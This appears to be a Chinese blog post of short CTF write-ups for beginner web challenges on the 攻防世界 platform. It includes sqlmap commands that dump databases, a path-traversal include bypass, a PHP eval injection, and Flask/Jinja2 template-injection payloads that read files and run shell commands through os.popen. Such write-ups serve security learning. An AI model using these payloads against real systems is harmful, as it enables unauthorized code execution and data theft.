攻防世界 部分writeup

1.simple_php

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

说明:参数a=0且a为真才能得到半个flag.

is_numeric() 函数用于检测变量是否为数字或数字字符串。如果b是数字 则退出

说明:b要求大于1234才能得到另外半个flag.

条件2要求b不为数字,条件3要求大于1234,此问题涉及到php弱类型比较。(可以上网搜搜)
在本题中弱类型比较时,1234=1234a。所以b=1235a时既不为数字同时也大于1234.

flag: /index.php?a="0"&b=1235a

可参考:https://blog.csdn.net/qq_40993864/article/details/98990191

2.xff_referer

X老师告诉小宁其实xff和referer是可以伪造的。
X-Forwarded-For: 源ip
Referer:表示一个来源
X-Forwarded-For:123.123.123.123
Referer:https://www.google.com

3.backup

index.php的备份文件名是
index.phps
index.php-bak
index.php.bak
index.php3
index.php4
index.php5
index.php~

4.warmup

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file']) && is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

https://blog.csdn.net/qq_42016346/article/details/104199710

flag: ?file=hint.php?/../../../../../../ffffllllaaaagggg

5.newscenter

1.获取所有的数据库
python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –dbs -v 2

2.获取指定数据库中的所有表

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –tables -D news -v 2

3.获取指定数据库名中指定表的字段

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –columns -D news -T secret_table -v 2

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –columns -D news -T news -v 2

4.获取指定数据库名中指定表中指定字段的数据

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt –dump -D news -T secret_table -C “fl4g,id” -v 2

快速方法 查看所有表中列名,列值

python sqlmap.py -r C:\Users\sds\Desktop\aa.txt -D news --dump

6.NaNNaNNaNNaN-Batman

js乱码问题,可将eval函数改成alert 可看到js代码

打开原有文件,后缀改为html,在console界面输入var关键代码即可获得

7.Simple_SSTI_1

You know, in the flask, We often set a secret_key variable

?flag={{config.SECRET_KEY}}

SSTI模板注入

https://www.cnblogs.com/chalan630/p/12578418.html#四-tplmap

8.Simple_SSTI_2

http://114.67.246.176:10777/?flag={{3123}}

报错发现是python3 flash模板注入。网上搜索payload

文件读取

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

命令执行

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

使用ls命令读取文件

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls').read()") }}{% endif %}{% endfor %}

cat flag查看flag

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('cat flag').read()") }}{% endif %}{% endfor %}

看源码方式,右键view resource。如果是图片,开发者工具查看elements

9.web8文件包含

<?php
    include "flag.php"; //flag在flag.php里
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

$_REQUEST[]支持det、post两种方式发送过来的请求,很明显接收了hello参数的值
var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值;数组将递归展开值,通过缩进显示其结构
eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
show_source() 函数对文件进行语法高亮显示,是 highlight_file() 的别名

?hello=show_source("flag.php")

$args(可变变量)

http://localhost:63343/test/3.php?$args(highlight_file("flag1.php"))

posted @ 2021-04-18 08:42  TaoLeonis  阅读(280)  评论(0编辑  收藏  举报